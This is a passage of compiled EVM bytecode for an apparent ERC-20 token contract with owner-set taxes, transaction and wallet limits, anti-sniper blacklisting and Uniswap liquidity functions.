611155b80156109c75750600e60029054906101000a900460ff1660ff168160ff1611155b610a06576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109fd90613e50565b60405180910390fd5b82600e60036101000a81548160ff021916908360ff16021790555081600e60046101000a81548160ff021916908360ff16021790555080600e60056101000a81548160ff021916908360ff160217905550505050565b60006009600a610a6c9190613fd2565b64e8d4a51000610a7c919061401d565b905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0690613de4565b60405180910390fd5b610b1847612317565b565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ba8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9f90613de4565b60405180910390fd5b610bb260006123a1565b565b6000610bbe6123d1565b610bfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf4906140c3565b60405180910390fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610da95781600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d2891906140e3565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610db4848484612457565b90509392505050565b60006009905090565b60116020528060005260406000206000915090505481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6390613de4565b60405180910390fd5b81600e60066101000a81548161ffff021916908361ffff16021790555080600e60086101000a81548161ffff021916908361ffff160217905550600e60089054906101000a900461ffff16600e60069054906101000a900461ffff16610ed29190614117565b600e600a6101000a81548161ffff021916908361ffff1602179055505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7790613de4565b60405180910390fd5b600860009054906101000a900460ff1615610fd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc79061419b565b60405180910390fd5b60008111611013576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100a90614207565b60405180910390fd5b6001601060003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160106000601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000479050818110156111a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119d90614273565b60405180910390fd5b60006111b130611463565b9050600081116111f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ed906142df565b60405180910390fd5b6000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611265573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112899190614314565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611312573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113369190614314565b6040518363ffffffff1660e01b8152600401611353929190614341565b6020604051808303816000875af1158015611372573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113969190614314565b90506001600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061145182612ba7565b61145d82856000612d91565b50505050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461153a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153190613de4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115b057806115af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a6906143b6565b60405180910390fd5b5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60095481565b60606002805461166f90613d40565b80601f016020809104026020016040519081016040528092919081815260200182805461169b90613d40565b80156116e85780601f106116bd576101008083540402835291602001916116e8565b820191906000526020600020905b8154815290600101906020018083116116cb57829003601f168201915b5050505050905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611780576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161177790613de4565b60405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186090613de4565b60405180910390fd5b600061187430611463565b9050600081116118b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118b090614422565b60405180910390fd5b6118c281612e6f565b50565b60006118cf6123d1565b61190e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611905906140c3565b60405180910390fd5b611919338484612457565b905092915050565b600a5481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146119b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ac90613de4565b60405180910390fd5b60006009600a6119c59190613fd2565b6103e88461ffff166009600a6119db9190613fd2565b64e8d4a510006119eb919061401d565b6119f5919061401d565b6119ff9190614471565b611a0991906144a2565b90506009600a611a199190613fd2565b64e8d4a51000611a29919061401d565b811115611a51576009600a611a3e9190613fd2565b64e8d4a51000611a4e919061401d565b90505b600954811015611a96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a8d90614544565b60405180910390fd5b8060098190555060006009600a611aad9190613fd2565b6103e88461ffff166009600a611ac39190613fd2565b64e8d4a51000611ad3919061401d565b611add919061401d565b611ae79190614471565b611af191906144a2565b90506009600a611b019190613fd2565b64e8d4a51000611b11919061401d565b811115611b39576009600a611b269190613fd2565b64e8d4a51000611b36919061401d565b90505b600a54811015611b7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b75906145b0565b60405180910390fd5b80600a8190555050505050565b600e60009054906101000a900461ffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611c2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c2490613de4565b60405180910390fd5b600860009054906101000a900460ff1615611c7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c749061419b565b60405180910390fd5b611c8561308e565b565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611d15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d0c90613de4565b60405180910390fd5b80601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611f1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f1590613de4565b60405180910390fd5b8263ffffffff168463ffffffff166009600a611f3a9190613fd2565b64e8d4a51000611f4a919061401d565b611f54919061401d565b611f5e9190614471565b600b819055508063ffffffff168263ffffffff166009600a611f809190613fd2565b64e8d4a51000611f90919061401d565b611f9a919061401d565b611fa49190614471565b600c8190555050505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461203e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203590613de4565b60405180910390fd5b6000600e60036101000a81548160ff021916908360ff160217905550600e60029054906101000a900460ff16600261207691906145d0565b600e60046101000a81548160ff021916908360ff160217905550565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612120576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161211790613de4565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861638160405161218f919061466a565b60405180910390a150565b600080601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146121eb57600190506121f0565b600090505b919050565b601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561228e57506000601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b156123135780601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600e600081819054906101000a900461ffff16809291906122f790614685565b91906101000a81548161ffff021916908361ffff160217905550505b5050565b6000600e60089054906101000a900461ffff1661ffff16111561239e57601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561239c573d6000803e3d6000fd5b505b50565b43600f5411806123b357506000600f54145b156123ce578060ff16436123c791906144a2565b600f819055505b50565b60008060009050600860009054906101000a900460ff16156123f65760019050612450565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16141561244f57600190505b5b8091505090565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156124c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124bf906146fc565b60405180910390fd5b43600f5411156125e157600360049054906101000a900463ffffffff1663ffffffff16600360009054906101000a900463ffffffff1663ffffffff168461250f919061471c565b73ffffffffffffffffffffffffffffffffffffffff16141561253a5761253560016123a1565b6125dc565b6000601160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156125915761258c83436121f5565b6125db565b6125da83601160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121f5565b5b5b6126fb565b6000601160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146126725761267183601160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121f5565b5b601260009054906101000a900460ff1660ff16600f5461269291906144a2565b4310801561269f5750483a115b156126fa576000483a6126b291906140e3565b905060135481106126f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126ef90614799565b60405180910390fd5b505b5b600860009054906101000a900460ff16801561275757506000601160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b80156127a1575043601160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054105b156127e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127d890614805565b60405180910390fd5b60148054906101000a900460ff161580156128455750600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561285357612852613236565b5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156128bb57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015612913575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156129625761292283836133be565b612961576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161295890614871565b60405180910390fd5b5b600061296f8585856134fe565b90506000818461297f91906140e3565b905083600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cc91906140e3565b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000821115612aa75781600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a6391906144a2565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b80600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612af291906144a2565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051612b92919061396d565b60405180910390a36001925050509392505050565b80600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015612d8e577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9257fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff604051612d85919061396d565b60405180910390a35b50565b600081612dbc577f000000000000000000000000000000000000000000000000000000000000000090505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71984308760008087426040518863ffffffff1660e01b8152600401612e23969594939291906148cc565b60606040518083038185885af1158015612e41573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612e669190614942565b50505050505050565b612e7881612ba7565b6000600267ffffffffffffffff811115612e9557612e94614995565b5b604051908082528060200260200182016040528015612ec35781602001602082028036833780820191505090505b5090503081600081518110612edb57612eda6149c4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612f82573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612fa69190614314565b81600181518110612fba57612fb96149c4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613058959493929190614ab1565b600060405180830381600087803b15801561307257600080fd5b505af1158015613086573d6000803e3d6000fd5b505050505050565b600860009054906101000a900460ff16156130de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130d59061419b565b60405180910390fd5b600a436130eb91906144a2565b600f819055506009600a6130ff9190613fd2565b6103e86009600a6131109190613fd2565b64e8d4a51000613120919061401d565b600a61312c919061401d565b6131369190614471565b61314091906144a2565b6009819055506009600a6131549190613fd2565b6103e86009600a6131659190613fd2565b64e8d4a51000613175919061401d565b600a613181919061401d565b61318b9190614471565b61319591906144a2565b600a81905550600e60029054906101000a900460ff16600e60036101000a81548160ff021916908360ff160217905550600e60029054906101000a900460ff16600e60046101000a81548160ff021916908360ff160217905550600e60029054906101000a900460ff16600e60056101000a81548160ff021916908360ff1602179055506001600860006101000a81548160ff021916908315150217905550565b60016014806101000a81548160ff021916908315150217905550600061325b30611463565b9050600b54811015801561327b5750600860009054906101000a900460ff165b156133a157600c54811061328f57600c5490505b60006002600e600a9054906101000a900461ffff1661ffff16600e60069054906101000a900461ffff1661ffff16846132c8919061401d565b6132d29190614471565b6132dc9190614471565b9050600081836132ec91906140e3565b905060004790506132fc82612e6f565b6000814761330a91906140e3565b90506000600e60069054906101000a900461ffff1661ffff161115613383576000600e600a9054906101000a900461ffff1661ffff16600e60069054906101000a900461ffff1661ffff1683613360919061401d565b61336a9190614471565b905061337585612ba7565b61338185826000612d91565b505b6000479050600081111561339b5761339a81612317565b5b50505050505b5060006014806101000a81548160ff021916908315150217905550565b60008060019050600860009054906101000a900460ff16801561342b5750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156134f45760095483111561344357600090506134f3565b600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156134e85750600a5483600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134e691906144a2565b115b156134f257600090505b5b5b8091505092915050565b600080600860009054906101000a900460ff1615806135665750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806135ba5750600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156135c857600090506136fd565b600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561364b576064600e60039054906101000a900460ff1660ff168461363a919061401d565b6136449190614471565b90506136fc565b600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156136ce576064600e60049054906101000a900460ff1660ff16846136bd919061401d565b6136c79190614471565b90506136fb565b6064600e60059054906101000a900460ff1660ff16846136ee919061401d565b6136f89190614471565b90505b5b5b809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613742578082015181840152602081019050613727565b83811115613751576000848401525b50505050565b6000601f19601f8301169050919050565b600061377382613708565b61377d8185613713565b935061378d818560208601613724565b61379681613757565b840191505092915050565b600060208201905081810360008301526137bb8184613768565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006137f3826137c8565b9050919050565b613803816137e8565b811461380e57600080fd5b50565b600081359050613820816137fa565b92915050565b6000819050919050565b61383981613826565b811461384457600080fd5b50565b60008135905061385681613830565b92915050565b60008060408385031215613873576138726137c3565b5b600061388185828601613811565b925050602061389285828601613847565b9150509250929050565b60008115159050919050565b6138b18161389c565b82525050565b60006020820190506138cc60008301846138a8565b92915050565b600060ff82169050919050565b6138e8816138d2565b81146138f357600080fd5b50565b600081359050613905816138df565b92915050565b600080600060608486031215613924576139236137c3565b5b6000613932868287016138f6565b9350506020613943868287016138f6565b9250506040613954868287016138f6565b9150509250925092565b61396781613826565b82525050565b6000602082019050613982600083018461395e565b92915050565b6000806000606084860312156139a1576139a06137c3565b5b60006139af86828701613811565b93505060206139c086828701613811565b92505060406139d186828701613847565b9150509250925092565b6139e4816138d2565b82525050565b60006020820190506139ff60008301846139db565b92915050565b600060208284031215613a1b57613a1a6137c3565b5b6000613a2984828501613811565b91505092915050565b600061ffff82169050919050565b613a4981613a32565b8114613a5457600080fd5b50565b600081359050613a6681613a40565b92915050565b60008060408385031215613a8357613a826137c3565b5b6000613a9185828601613a57565b9250506020613aa285828601613a57565b9150509250929050565b600060208284031215613ac257613ac16137c3565b5b6000613ad084828501613847565b91505092915050565b613ae28161389c565b8114613aed57600080fd5b50565b600081359050613aff81613ad9565b92915050565b60008060408385031215613b1c57613b1b6137c3565b5b6000613b2a85828601613811565b9250506020613b3b85828601613af0565b9150509250929050565b6000613b50826137c8565b9050919050565b613b6081613b45565b82525050565b6000602082019050613b7b6000830184613b57565b92915050565b613b8a816137e8565b82525050565b6000602082019050613ba56000830184613b81565b92915050565b613bb481613a32565b82525050565b6000602082019050613bcf6000830184613bab565b92915050565b60008060408385031215613bec57613beb6137c3565b5b6000613bfa85828601613811565b9250506020613c0b85828601613811565b9150509250929050565b600063ffffffff82169050919050565b613c2e81613c15565b8114613c3957600080fd5b50565b600081359050613c4b81613c25565b92915050565b60008060008060808587031215613c6b57613c6a6137c3565b5b6000613c7987828801613c3c565b9450506020613c8a87828801613c3c565b9350506040613c9b87828801613c3c565b9250506060613cac87828801613c3c565b91505092959194509250565b613cc181613b45565b8114613ccc57600080fd5b50565b600081359050613cde81613cb8565b92915050565b600060208284031215613cfa57613cf96137c3565b5b6000613d0884828501613ccf565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680613d5857607f821691505b60208210811415613d6c57613d6b613d11565b5b50919050565b7f4f6e6c7920636f6e7472616374206f776e65722063616e2063616c6c2074686960008201527f732066756e6374696f6e00000000000000000000000000000000000000000000602082015250565b6000613dce602a83613713565b9150613dd982613d72565b604082019050919050565b60006020820190508181036000830152613dfd81613dc1565b9050919050565b7f54617820746f6f20686967680000000000000000000000000000000000000000600082015250565b6000613e3a600c83613713565b9150613e4582613e04565b602082019050919050565b60006020820190508181036000830152613e6981613e2d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115613ef657808604811115613ed257613ed1613e70565b5b6001851615613ee15780820291505b8081029050613eef85613e9f565b9450613eb6565b94509492505050565b600082613f0f5760019050613fcb565b81613f1d5760009050613fcb565b8160018114613f335760028114613f3d57613f6c565b6001915050613fcb565b60ff841115613f4f57613f4e613e70565b5b8360020a915084821115613f6657613f65613e70565b5b50613fcb565b5060208310610133831016604e8410600b8410161715613fa15782820a905083811115613f9c57613f9b613e70565b5b613fcb565b613fae8484846001613eac565b92509050818404811115613fc557613fc4613e70565b5b81810290505b9392505050565b6000613fdd82613826565b9150613fe8836138d2565b92506140157fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613eff565b905092915050565b600061402882613826565b915061403383613826565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561406c5761406b613e70565b5b828202905092915050565b7f54726164696e67206e6f74206f70656e00000000000000000000000000000000600082015250565b60006140ad601083613713565b91506140b882614077565b602082019050919050565b600060208201905081810360008301526140dc816140a0565b9050919050565b60006140ee82613826565b91506140f983613826565b92508282101561410c5761410b613e70565b5b828203905092915050565b600061412282613a32565b915061412d83613a32565b92508261ffff0382111561414457614143613e70565b5b828201905092915050565b7f74726164696e6720616c7265616479206f70656e000000000000000000000000600082015250565b6000614185601483613713565b91506141908261414f565b602082019050919050565b600060208201905081810360008301526141b481614178565b9050919050565b7f6574682063616e6e6f7420626520300000000000000000000000000000000000600082015250565b60006141f1600f83613713565b91506141fc826141bb565b602082019050919050565b60006020820190508181036000830152614220816141e4565b9050919050565b7f6e6f7420656e6f75676820657468000000000000000000000000000000000000600082015250565b600061425d600e83613713565b915061426882614227565b602082019050919050565b6000602082019050818103600083015261428c81614250565b9050919050565b7f6e6f20746f6b656e730000000000000000000000000000000000000000000000600082015250565b60006142c9600983613713565b91506142d482614293565b602082019050919050565b600060208201905081810360008301526142f8816142bc565b9050919050565b60008151905061430e816137fa565b92915050565b60006020828403121561432a576143296137c3565b5b6000614338848285016142ff565b91505092915050565b60006040820190506143566000830185613b81565b6143636020830184613b81565b9392505050565b7f5a65726f2077616c6c6574206d75737420626520756e6c696d69746564000000600082015250565b60006143a0601d83613713565b91506143ab8261436a565b602082019050919050565b600060208201905081810360008301526143cf81614393565b9050919050565b7f4e6f20746f6b656e730000000000000000000000000000000000000000000000600082015250565b600061440c600983613713565b9150614417826143d6565b602082019050919050565b6000602082019050818103600083015261443b816143ff565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061447c82613826565b915061448783613826565b92508261449757614496614442565b5b828204905092915050565b60006144ad82613826565b91506144b883613826565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156144ed576144ec613e70565b5b828201905092915050565b7f7478206c696d697420746f6f206c6f7700000000000000000000000000000000600082015250565b600061452e601083613713565b9150614539826144f8565b602082019050919050565b6000602082019050818103600083015261455d81614521565b9050919050565b7f77616c6c6574206c696d697420746f6f206c6f77000000000000000000000000600082015250565b600061459a601483613713565b91506145a582614564565b602082019050919050565b600060208201905081810360008301526145c98161458d565b9050919050565b60006145db826138d2565b91506145e6836138d2565b92508160ff0483118215151615614600576145ff613e70565b5b828202905092915050565b6000819050919050565b600061463061462b614626846137c8565b61460b565b6137c8565b9050919050565b600061464282614615565b9050919050565b600061465482614637565b9050919050565b61466481614649565b82525050565b600060208201905061467f600083018461465b565b92915050565b600061469082613a32565b915061ffff8214156146a5576146a4613e70565b5b600182019050919050565b7f4e6f207472616e73666572732066726f6d205a65726f2077616c6c6574000000600082015250565b60006146e6601d83613713565b91506146f1826146b0565b602082019050919050565b60006020820190508181036000830152614715816146d9565b9050919050565b6000614727826137c8565b9150614732836137c8565b92508261474257614741614442565b5b828206905092915050565b7f4f766572206c696d697400000000000000000000000000000000000000000000600082015250565b6000614783600a83613713565b915061478e8261474d565b602082019050919050565b600060208201905081810360008301526147b281614776565b9050919050565b7f626c61636b6c6973746564000000000000000000000000000000000000000000600082015250565b60006147ef600b83613713565b91506147fa826147b9565b602082019050919050565b6000602082019050818103600083015261481e816147e2565b9050919050565b7f54582065786365656473206c696d697473000000000000000000000000000000600082015250565b600061485b601183613713565b915061486682614825565b602082019050919050565b6000602082019050818103600083015261488a8161484e565b9050919050565b6000819050919050565b60006148b66148b16148ac84614891565b61460b565b613826565b9050919050565b6148c68161489b565b82525050565b600060c0820190506148e16000830189613b81565b6148ee602083018861395e565b6148fb60408301876148bd565b61490860608301866148bd565b6149156080830185613b81565b61492260a083018461395e565b979650505050505050565b60008151905061493c81613830565b92915050565b60008060006060848603121561495b5761495a6137c3565b5b60006149698682870161492d565b935050602061497a8682870161492d565b925050604061498b8682870161492d565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b614a28816137e8565b82525050565b6000614a3a8383614a1f565b60208301905092915050565b6000602082019050919050565b6000614a5e826149f3565b614a6881856149fe565b9350614a7383614a0f565b8060005b83811015614aa4578151614a8b8882614a2e565b9750614a9683614a46565b925050600181019050614a77565b5085935050505092915050565b600060a082019050614ac6600083018861395e565b614ad360208301876148bd565b8181036040830152614ae58186614a53565b9050614af46060830185613b81565b614b01608083018461395e565b969550505050505056fea26469706673582212207faf4907f266cf0